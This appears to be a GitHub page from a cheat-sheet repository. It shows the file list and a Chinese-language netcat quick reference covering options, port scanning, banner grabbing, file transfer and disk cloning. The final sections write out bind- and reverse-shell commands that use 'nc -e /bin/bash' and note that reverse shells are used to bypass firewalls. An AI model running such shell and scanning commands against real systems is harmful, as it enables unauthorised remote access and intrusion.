Files
.github
.husky
assets
docs
adb.md
adobe-lightroom.md
adobe-photoshop.md
adobe-xd.md
android-studio.md
ansible.md
apt.md
ascii-code.md
aspect-ratio.md
awk.md
bash.md
blender.md
bun.md
c.md
cargo.md
chatgpt.md
chmod.md
chown.md
cmake.md
cmd.md
cocoapods.md
colors-named.md
conan.md
conda.md
cpp.md
cron.md
cs.md
css.md
curl.md
dart.md
django.md
docker-compose.md
docker.md
dockerfile.md
ejs.md
elasticsearch.md
electron.md
elixir.md
emacs.md
emmet.md
emoji.md
erlang.md
es6.md
expressjs.md
fastapi.md
feds.md
ffmpeg.md
figma.md
find.md
finder.md
firefox.md
flask.md
flutter.md
ftp.md
gdb.md
git.md
github-actions.md
github-copilot.md
github.md
gitlab-ci.md
gitlab.md
glances.md
gmail.md
golang.md
google-chrome.md
graphql.md
grep.md
homebrew.md
hook.md
html-char.md
html.md
htmx.md
htop.md
http-status-code.md
ini.md
intelli-j-idea.md
iptables.md
iso-3166-1.md
iso-639-1.md
java.md
javascript.md
jest.md
jq.md
jquery.md
json.md
julia.md
jupyter.md
justfile.md
koajs.md
kotlin.md
kubernetes.md
laravel.md
latex.md
lerna.md
lessjs.md
linux-command.md
lsof.md
lua.md
make.md
markdown.md
matlab.md
mime.md
mitmproxy.md
mongodb.md
mysql.md
neo4j.md
nestjs.md
netcat.md
netstat.md
nextjs.md
nginx.md
npm.md
nvm.md
openssl.md
oracle.md
package.json.md
pacman.md
pandoc.md
php.md
phpstorm.md
pinia.md
pm2.md
pnpm.md
postgres.md
ps.md
pycharm.md
python.md
pytorch.md
quickreference.md
r.md
react-native.md
react.md
reactrouter.md
redis.md
regex.md
resolutions.md
ruby.md
rust.md
rxjs.md
sass.md
scala.md
screen.md
sdkman.md
sed.md
semver.md
sketch.md
springboot.md
ssh.md
styled-components.md
stylex.md
stylus.md
sublime-text.md
subversion.md
swift.md
swiftui.md
symbol-code.md
sysdig.md
systemd.md
tailwindcss.md
tar.md
taskset.md
tauri.md
tmux.md
toml.md
twitter.md
typescript.md
vim.md
vimium.md
vscode.md
vue.md
vue2.md
webstorm.md
xcode.md
xpath.md
yaml.md
yarn.md
yum.md
zip.md
.dockerignore
.editorconfig
.gitattributes
.gitignore
.lintstagedrc
.markdownlint.json
.npmrc
.prettierignore
.prettierrc
.refsrc.json
CONTRIBUTING.md
Dockerfile
LICENSE
README.md
package.json
renovate.json
reference/docs/netcat.md
fw_qaq 5701da6e5b chore: format markdown code. ()
* format: fix markdown

* update: fix markdown

* update: fix cron problems

* update: delete .markdownlintignore

* update

* chore: add tab -> 4 space

* chore: fix tab -> 2 in the .editorconfig
2022-11-11 01:51:54 +08:00

3.8 KiB
Raw Blame History

Netcat 备忘清单

该备忘单提供了在 Linux 和 Unix 上使用 Netcat 的各种方法。

入门

用法

连接到位于任何地方的主机

$ nc [options] [host] [port]

监听传入连接

$ nc -lp port [host] [port]

选项示例

选项 示例 说明
-h nc -h 帮助
-z nc -z 192.168.1.9 1-100 端口扫描主机或 IP 地址
-v nc -zv 192.168.1.9 1-100 提供详细输出
-n nc -zn 192.168.1.9 1-100 通过禁用 DNS 解析进行快速扫描
-l nc -lp 8000 TCP 侦听模式 (用于入站连接)
-w nc -w 180 192.168.1.9 8000 定义超时值
-k nc -kl 8000 断线后继续收听
-u nc -u 192.168.1.9 8000 使用 UDP 而不是 TCP
-q nc -q 1 192.168.1.9 8000 客户在 EOF 后熬夜
-4 nc -4 -l 8000 仅限 IPv4
-6 nc -6 -l 8000 仅限 IPv6

聊天客户端-服务器

服务器 Server (192.168.1.9)

$ nc -lv 8000

客户端 Client

$ nc 192.168.1.9 8000

Netcat 示例

Banner 抓取

$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1

或者

echo "" | nc -zv -wl 192.168.1.1 801-805

端口扫描

扫描 2125 之间的端口

$ nc -zvn 192.168.1.1 21-25

扫描端口 2233068080

$ nc -zvn 192.168.1.1 22 3306 8080

代理和端口转发

$ nc -lp 8001 -c "nc 127.0.0.1 8000"

或者

$ nc -l 8001 | nc 127.0.0.1 8000

创建从一个本地端口到另一个本地端口的隧道

下载文件

服务器 Server (192.168.1.9)

$ nc -lv 8000 < file.txt

客户端 Client

$ nc -nv 192.168.1.9 8000 > file.txt

假设您想将文件 file.txt 从服务器 A 传输到客户端 B。

上传文件

服务器 Server (192.168.1.9)

$ nc -lv 8000 > file.txt

客户端 Client

$ nc 192.168.1.9 8000 < file.txt

假设您想将文件 file.txt 从客户端 B 传输到服务器 A

目录传输

服务器 Server (192.168.1.9)

$ tar -cvf  dir_name | nc -l 8000

客户端 Client

$ nc -n 192.168.1.9 8000 | tar -xvf -

假设您想通过网络将目录从 A 传输到 B

加密传输

服务器 Server (192.168.1.9)

$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt

客户端 Client

$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000

在通过网络传输之前加密数据

克隆

服务器 Server (192.168.1.9)

$ dd if=/dev/sda | nc -l 8000

客户端 Client

$ nc -n 192.168.1.9 8000 | dd of=/dev/sda

克隆 linux PC 非常简单。假设你的系统盘是 /dev/sda

视频流

服务器 Server (192.168.1.9)

$ cat video.avi | nc -l 8000

客户端 Client

$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -

使用 netcat 流式传输视频

远程 shell

服务器 Server (192.168.1.9)

$ nc -lv 8000 -e /bin/bash

客户端 Client

$ nc 192.168.1.9 8000

我们已经使用 telnetssh 使用远程 Shell,但是如果它们没有安装并且我们没有安装它们的权限,那么我们也可以使用 netcat 创建远程 shell

逆转 shell

服务器 Server (192.168.1.9)

$ nc -lv 8000

客户端 Client

$ nc 192.168.1.9 8000 -v -e /bin/bash

反向 shell 通常用于绕过防火墙限制,例如阻止入站连接